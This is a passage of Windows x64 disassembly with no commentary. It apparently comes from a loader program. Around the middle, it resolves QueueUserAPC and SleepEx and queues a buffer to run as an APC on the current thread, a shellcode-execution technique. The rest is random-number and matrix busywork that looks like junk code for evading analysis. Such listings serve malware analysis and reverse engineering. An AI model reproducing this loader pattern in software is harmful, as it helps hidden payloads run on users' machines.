sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x38c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1e8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x388]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1f0]
add rax, rdx
mov edx, dword [rbp + 0x38c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1e0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x388]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1e8]
add rax, rdx
mov edx, dword [rbp + 0x38c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1d8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x388], 1
add dword [rbp + 0x38c], 1
cmp dword [rbp + 0x38c], 0x2d9
jle 0x140002937
mov rax, qword [rbp + 0x1f0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x1e8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x1e0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x1d8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x370]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1d0], rax
mov rax, qword [rbp + 0x370]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1c8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x1f8]
mov r9, qword [rbp + 0x1d0]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x1c8]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov ecx, 0x3564
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1c0], rax
mov ecx, 0x3564
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1b8], rax
mov ecx, 0x3564
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1b0], rax
mov dword [rbp + 0x384], 0
jmp 0x140002c20
mov dword [rbp + 0x380], 0
jmp 0x140002c0c
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x384]
cdqe
imul rcx, rax, 0xcc
mov rax, qword [rbp + 0x1c0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x380]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x384]
cdqe
imul rcx, rax, 0xcc
mov rax, qword [rbp + 0x1b8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x380]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x380], 1
cmp dword [rbp + 0x380], 0x32
jle 0x140002b5b
add dword [rbp + 0x384], 1
cmp dword [rbp + 0x384], 0x42
jle 0x140002b4c
mov dword [rbp + 0x384], 0
jmp 0x140002cd9
mov dword [rbp + 0x380], 0
jmp 0x140002cc5
mov eax, dword [rbp + 0x384]
cdqe
imul rdx, rax, 0xcc
mov rax, qword [rbp + 0x1c0]
add rdx, rax
mov eax, dword [rbp + 0x380]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x384]
cdqe
imul rdx, rax, 0xcc
mov rax, qword [rbp + 0x1b8]
add rdx, rax
mov eax, dword [rbp + 0x380]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x384]
cdqe
imul rdx, rax, 0xcc
mov rax, qword [rbp + 0x1b0]
add rdx, rax
mulss xmm0, xmm1
mov eax, dword [rbp + 0x380]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x380], 1
cmp dword [rbp + 0x380], 0x32
jle 0x140002c48
add dword [rbp + 0x384], 1
cmp dword [rbp + 0x384], 0x42
jle 0x140002c3c
mov rax, qword [rbp + 0x1c0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x1b8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x1b0]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, 0
movups xmm6, xmmword [rbp + 0x3f0]
add rsp, 0x488
pop rbx
pop rbp
ret